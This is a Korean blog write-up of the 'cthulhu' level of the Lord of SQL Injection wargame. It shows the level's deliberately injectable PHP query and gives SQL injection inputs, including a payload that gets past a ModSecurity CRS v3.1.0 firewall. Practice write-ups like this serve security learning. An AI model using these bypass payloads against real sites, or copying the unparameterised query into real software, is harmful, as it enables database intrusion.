wargame/Lord Of SQL Injection

[LOS] cthulhu

LimeLee 2019. 5. 10. 11:03

소스코드 분석

modsec.rubiya.kr server is running ModSecurity Core Rule Set v3.1.0 with paranoia level 1(default).
It is the latest version now.(2019.05)
Can you bypass the WAF?

<?php
  include "./welcome.php";
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("cthulhu");
  highlight_file(__FILE__);
?>

1. if($result['id']) solve("cthulhu"); > 값이 존재하면 클리어

 

2. modsec.rubiya.kr server is running ModSecurity Core Rule Set v3.1.0 with paranoia level 1(default). > ModSecurity Core Rule Set v3.1.0 level 1의 웹 방화벽 동작 중

 

문제풀이

새로운 문제가 출제되었다.

 

4문제 가량 추가되었는데 추가된 문제 모두 웹 방화벽이 동작한다.

 

이를 우회하는 것이 이번 문제들의 컨셉(?)이라고 할 수 있다.

일단 기본적인 SQLI 구문을 삽입해본다.

?id=' or 1=1-- -

 

대략 이런식으로 SQL Injection에 쓰이는 구문을 이용할 시 웹 방화벽에서 탐지하여 403 Forbidden 에러 페이지를 띄워주는 것을 확인 가능하다.

 

ModSecurity Core Rule Set v3.1.0 bypass로 검색하면 도움 될 만한 글이 많이 나온다.

이번 문제들을 푸는데 아래의 링크를 참고했다.

https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181

 

Bypass the latest CRS v3.1.0 rules of SQL injection · Issue #1181 · SpiderLabs/owasp-modsecurity-crs

Type of Issue False Negative Description Per #1167, I wanna raise more FNs in this thread. Before getting into other FNs, I want to give out more information to #1167 so as to help the maintainers ...

github.com

 

링크의 PL1 우회구문은 문제페이지에서 우회되지 않아 PL2 우회구문에 있는 '<@=1를 이용한다.

?id='<@=1 or 1--

'wargame > Lord Of SQL Injection' 카테고리의 다른 글

[LOS] godzilla  (0) 2019.05.10
[LOS] death  (0) 2019.05.10
[LOS] alien  (0) 2018.08.19
[LOS] zombie  (0) 2018.08.18
[LOS] ouroboros  (0) 2018.08.09